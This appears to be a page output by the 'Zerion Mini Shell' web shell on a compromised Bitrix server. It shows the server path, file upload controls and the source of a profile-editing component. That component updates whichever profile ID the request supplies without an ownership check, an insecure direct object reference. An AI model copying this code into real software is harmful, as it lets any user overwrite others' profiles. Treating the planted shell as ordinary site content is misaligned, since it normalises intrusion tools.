%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/bitrix/www/local/components/UB/user.profile/
Upload File :
Create Path :
Current File : //proc/self/root/home/bitrix/www/local/components/UB/user.profile/component.php

<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();?>
<?
if(!(CModule::IncludeModule("main") && CModule::IncludeModule('iblock'))) return;
global $USER;

unset($arParams["IBLOCK_TYPE"]);
$arParams["IBLOCK_ID"] = intval($arParams["IBLOCK_ID"]);
$usrid = 0;
$usrid = $USER->GetID();

if ($usrid>0) { // Пользователь должен быть авторизован

	$arResult["BX_SESSION_CHECK"] = bitrix_sessid_post();

	// Сохраняем
	if($_SERVER["REQUEST_METHOD"]=="POST" && $_REQUEST["lk_prof_s"]<>'' && check_bitrix_sessid()) {

		$PROP = array();

		// $PROP["DETAIL_TEXT"] = Array("VALUE" => Array ("TEXT" => $_REQUEST["ABOUT"], "TYPE" => "html"));
		$PROP["ARBAITEN"] = Array("VALUE" => Array ("TEXT" => $_REQUEST["WORKS"], "TYPE" => "html"));
		$PROP["MODELINTJOB"] =  Array("VALUE" => Array ("TEXT" => $_REQUEST["JOB"], "TYPE" => "html"));
		$PROP["OTHERINFA"] = Array("VALUE" => Array ("TEXT" => $_REQUEST["OTHER"], "TYPE" => "html"));

		if($_REQUEST["SECTION_ID"]==7) { // Юзер в разделе Модели
			$PROP["FACETYPE"] = $_REQUEST["FACETYPE"];
			$PROP["EYECOLOR"] = $_REQUEST["EYECOLOR"];
			$PROP["HAIRCOLOR"] = $_REQUEST["HAIRCOLOR"];
			$PROP["SKINCOLOR"] = $_REQUEST["SKINCOLOR"];
			$PROP["HAIRLENGTH"] = $_REQUEST["HAIRLENGTH"];
			$PROP["HEIGHT"] = $_REQUEST["HEIGHT"];
			$PROP["WEIGHT"] = $_REQUEST["WEIGHT"];
			$PROP["BREAST"] = $_REQUEST["BREAST"];
			$PROP["WAIST"] = $_REQUEST["WAIST"];
			$PROP["HIP"] = $_REQUEST["HIP"];
			$PROP["SIZE"] = $_REQUEST["SIZE"];
			$PROP["SHOES"] = $_REQUEST["SHOES"];
			$PROP["BODYSIZETYPE"] = 249;
			$PROP["SIZETYPE"] = $_REQUEST["SIZETYPE"];
			$PROP["SHOESTYPE"] = $_REQUEST["SHOESTYPE"];
			$PROP["MODELTHEME"] = Array();
			$PROP["MODELOPTIONS"] = Array();
			foreach ($_REQUEST["GANR"] as $k=>$v) {
				if($v==1) $PROP["MODELTHEME"][] = $k;
			}
			foreach ($_REQUEST["OPS"] as $k=>$v) {
				if($v==1) $PROP["MODELOPTIONS"][] = $k;
			}
			foreach ($_REQUEST["MODELTYPE"] as $k=>$v) {
				if($v==1) $PROP["MODELTYPE"] = $k;
			}
		}

		if($_REQUEST["SECTION_ID"]==8) {// Юзер в разделе Фотографы
			$PROP["PHOTOTHEME"] = Array();
			$PROP["PHOTOOPTIONS"] = Array();
			foreach ($_REQUEST["GANR"] as $k=>$v) {
				if($v==1) $PROP["PHOTOTHEME"][] = $k;
			}
			foreach ($_REQUEST["OPS"] as $k=>$v) {
				if($v==1) $PROP["PHOTOOPTIONS"][] = $k;
			}
		}

		if($_REQUEST["SECTION_ID"]==9) {// Юзер в разделе Фотографы
			$PROP["VISAGISTE"] = Array();
			$PROP["VISAGISTOPTION"] = Array();
			foreach ($_REQUEST["GANR"] as $k=>$v) {
				if($v==1) $PROP["VISAGISTE"][] = $k;
			}
			foreach ($_REQUEST["OPS"] as $k=>$v) {
				if($v==1) $PROP["VISAGISTOPTION"][] = $k;
			}
		}

		if($_REQUEST["SECTION_ID"]==10) {// Юзер в разделе Парикмахеры
			$PROP["BARBEROPTION"] = Array();
			foreach ($_REQUEST["OPS"] as $k=>$v) {
				if($v==1) $PROP["BARBEROPTION"][] = $k;
			}
		}

		if($_REQUEST["SECTION_ID"]==1) {// Юзер в разделе Стилист
			$PROP["STYLETHEME"] = Array();
			foreach ($_REQUEST["OPS"] as $k=>$v) {
				if($v==1) $PROP["STYLETHEME"][] = $k;
			}
		}

		if($_REQUEST["SECTION_ID"]==481) {// Юзер в разделе Дизайнер
			$PROP["DESIGNTHEME"] = Array();
			foreach ($_REQUEST["OPS"] as $k=>$v) {
				if($v==1) $PROP["DESIGNTHEME"][] = $k;
			}
		}

		if($_REQUEST["SECTION_ID"]==16) {// Юзер в разделе Агентство
			$PROP["AGENTTHEME"] = Array();
			foreach ($_REQUEST["GANR"] as $k=>$v) {
				if($v==1) $PROP["AGENTTHEME"][] = $k;
			}
		}

		if($_REQUEST["SECTION_ID"]==18) {// Юзер в разделе Школа
			$PROP["SCOOLTHEME"] = Array();
			foreach ($_REQUEST["GANR"] as $k=>$v) {
				if($v==1) $PROP["SCOOLTHEME"][] = $k;
			}
		}

		if($_REQUEST["SECTION_ID"]==12) {// Юзер в разделе Фотостудия
			$PROP["PHOTOSTUDIOPRICE"] = $_REQUEST["PHOTOSTUDIOPRICE"];
			$PROP["PHOTOSETAREA"] = $_REQUEST["PHOTOSETAREA"];
			$PROP["PHOTOSETWORKAREA"] = $_REQUEST["PHOTOSETWORKAREA"];
			$PROP["PHOTOSETNUM"] = $_REQUEST["PHOTOSETNUM"];
			$PROP["PHOTOSETHEIGHT"] = $_REQUEST["PHOTOSETHEIGHT"];
			$PROP["CURRENCY"] = $_REQUEST["CURRENCY"];
			$PROP["PHOTOFEATURES"] = Array();
			$PROP["PHOTOSELF"] = Array();
			$PROP["PHOTOMORE"] = Array();
			foreach ($_REQUEST["FTRS"] as $k=>$v) {
				if($v==1) $PROP["PHOTOFEATURES"][] = $k;
			}
			foreach ($_REQUEST["SELF"] as $k=>$v) {
				if($v==1) $PROP["PHOTOSELF"][] = $k;
			}
			foreach ($_REQUEST["OPS"] as $k=>$v) {
				if($v==1) $PROP["PHOTOMORE"][] = $k;
			}
		}

		/*
		?><pre><? print_r($PROP); ?></pre><?
	  // */

		$arFields = Array(
			"MODIFIED_BY"	=> $USER->GetID(), // элемент изменен текущим пользователем
			"DETAIL_TEXT"	=> $_REQUEST["ABOUT"],
		);
		$el = new CIBlockElement;
		$res = $el->Update($_REQUEST["PROFILE_ID"], $arFields);
		CIBlockElement::SetPropertyValuesEx($_REQUEST["PROFILE_ID"], $arParams["IBLOCK_ID"], $PROP);

		$arResult['DATA_SAVED'] = 'Y';

	}

	// Найдём профиль пользователя
	$res = CIBlockElement::GetList(Array(), Array("IBLOCK_ID"=>$arParams["IBLOCK_ID"], "PROPERTY_ACCOUNT"=>$usrid), false, false,
		array("ID", "IBLOCK_ID", "DETAIL_PICTURE", "IBLOCK_SECTION_ID", "DETAIL_TEXT", "PROPERTY_*"));

	if($ob = $res->GetNextElement()) {  // Редактирование и просмотр доступны для существующего профиля

		$ar_fields = $ob->GetFields(); // поля

		// $arResult["AVATAR"]["IMGP"] = CFile::ShowImage($ar_fields["DETAIL_PICTURE"], 260, 260, "border=0");
		$arResult["PROFILE"]["ABOUT"] = $ar_fields["~DETAIL_TEXT"];
		$arResult["PROFILE"]["ID"] = $ar_fields["ID"];
		$arResult["PROFILE"]["IBLOCK_SECTION_ID"] = $ar_fields["IBLOCK_SECTION_ID"];
		$arResult["PROPS"] = $ob->GetProperties(); // свойства

		/*
		?>
		<pre><? print_r($ar_fields); ?></pre>
		<pre><? print_r($ar_prop); ?></pre>
		<?
		// */

		// выберем свойства
		$rsProp = CIBlockProperty::GetList(Array("sort"=>"asc", "name"=>"asc"), Array("ACTIVE"=>"Y", "IBLOCK_ID"=>$arParams["IBLOCK_ID"]));
		while ($arProp = $rsProp->Fetch()) {
			if($arProp["PROPERTY_TYPE"] != "F") {
				$arTemp = array(
					"ID" => $arProp["ID"],
					"CODE" => $arProp["CODE"],
					"NAME" => $arProp["NAME"],
					"PROPERTY_TYPE" => $arProp["PROPERTY_TYPE"],
					"MULTIPLE" => $arProp["MULTIPLE"],
					"HINT" => $arProp["HINT"]
				);
				if ($arProp["PROPERTY_TYPE"]=="L") {
					$arrEnum = array();
					$arrXmlId = array();
					$rsEnum = CIBlockProperty::GetPropertyEnum($arProp["ID"]);
					while($arEnum = $rsEnum->Fetch())
					{
						$arrEnum[$arEnum["ID"]] = $arProp["ID"] == 80 || $arProp["ID"] == 81 ? $arEnum["XML_ID"] : $arEnum["VALUE"];
						$arrXmlId[$arEnum["ID"]] = $arEnum["XML_ID"];
					}
					$arTemp["VALUE_LIST"] = $arrEnum;
					$arTemp["VALUE_XML_ID"] = $arrXmlId;
					$arTemp["LIST_TYPE"] = $arProp["LIST_TYPE"];
				}
				$arResult["arrProp"][$arProp["ID"]] = $arTemp;
			}
		}

		if($arResult["PROFILE"]["IBLOCK_SECTION_ID"]==7) { // Юзер в разделе Модели
			// параметры, 1-й столбец
			$arResult["arparams"][0][] = $arResult["arrProp"][74];
			$arResult["arparams"][0][] = $arResult["arrProp"][67];
			$arResult["arparams"][0][] = $arResult["arrProp"][104];
			$arResult["arparams"][0][] = $arResult["arrProp"][65];
			$arResult["arparams"][0][] = $arResult["arrProp"][66];
			// параметры, 2-й столбец
			$arResult["arparams"][1][] = $arResult["arrProp"][75];
			$arResult["arparams"][1][] = $arResult["arrProp"][76];
			$arResult["arparams"][1][] = $arResult["arrProp"][77];
			$arResult["arparams"][1][] = $arResult["arrProp"][78];
			$arResult["arparams"][1][] = $arResult["arrProp"][79];
			$arResult["arparams"][1][] = $arResult["arrProp"][80];
			$arResult["arparams"][1][] = $arResult["arrProp"][81];
			// Стили
			$arResult["arstyles"] = $arResult["arrProp"][68];
			// Дополнительно
			$arResult["aroptions"] = $arResult["arrProp"][70];
		}

		if($arResult["PROFILE"]["IBLOCK_SECTION_ID"]==8) { // Юзер в разделе Фотографы
			// Жанры
			$arResult["arstyles"] = $arResult["arrProp"][98];
			// Опции
			$arResult["aroptions"] = $arResult["arrProp"][82];
		}

		if($arResult["PROFILE"]["IBLOCK_SECTION_ID"]==9) { // Юзер в разделе Визжисты
			// Жанры
			$arResult["arstyles"] = $arResult["arrProp"][83];
			// Опции
			$arResult["aroptions"] = $arResult["arrProp"][84];
		}

		if($arResult["PROFILE"]["IBLOCK_SECTION_ID"]==10) { // Юзер в разделе Парикмахеры
			$arResult["arstyles"] = array();
			$arResult["aroptions"] = $arResult["arrProp"][85];
		}

		if($arResult["PROFILE"]["IBLOCK_SECTION_ID"]==481) { // Юзер в разделе Стилист
			$arResult["ardesigners"] = array();
			$arResult["aroptions"] = $arResult["arrProp"][138];
		}

		if($arResult["PROFILE"]["IBLOCK_SECTION_ID"]==1) { // Юзер в разделе Дизайнеры
			$arResult["arstyles"] = array();
			$arResult["aroptions"] = $arResult["arrProp"][87];
		}

		if($arResult["PROFILE"]["IBLOCK_SECTION_ID"]==16) { // Юзер в разделе Агентство
			$arResult["aroptions"] = array();
			$arResult["arstyles"] = $arResult["arrProp"][105];
		}

		if($arResult["PROFILE"]["IBLOCK_SECTION_ID"]==18) { // Юзер в разделе Школа
			$arResult["aroptions"] = array();
			$arResult["arstyles"] = $arResult["arrProp"][97];
		}

		if($arResult["PROFILE"]["IBLOCK_SECTION_ID"]==12) { // Юзер в разделе Фотостудия
			$arResult["arparams"][] = $arResult["arrProp"][88];
			$arResult["arparams"][] = $arResult["arrProp"][173];
			$arResult["arparams"][] = $arResult["arrProp"][90];
			$arResult["arparams"][] = $arResult["arrProp"][91];
			$arResult["arparams"][] = $arResult["arrProp"][92];
			$arResult["arparams"][] = $arResult["arrProp"][93];
			$arResult["arfeatures"] = $arResult["arrProp"][94];
			$arResult["arself"] = $arResult["arrProp"][95];
			$arResult["aroptions"] = $arResult["arrProp"][96];
		}
	}
	else {
		$arResult['ERROR'] = GetMessage("FILL_IN_ALL_REQUIRED_FIELDS");
	}
}

$this->IncludeComponentTemplate();

?>

Zerion Mini Shell 1.0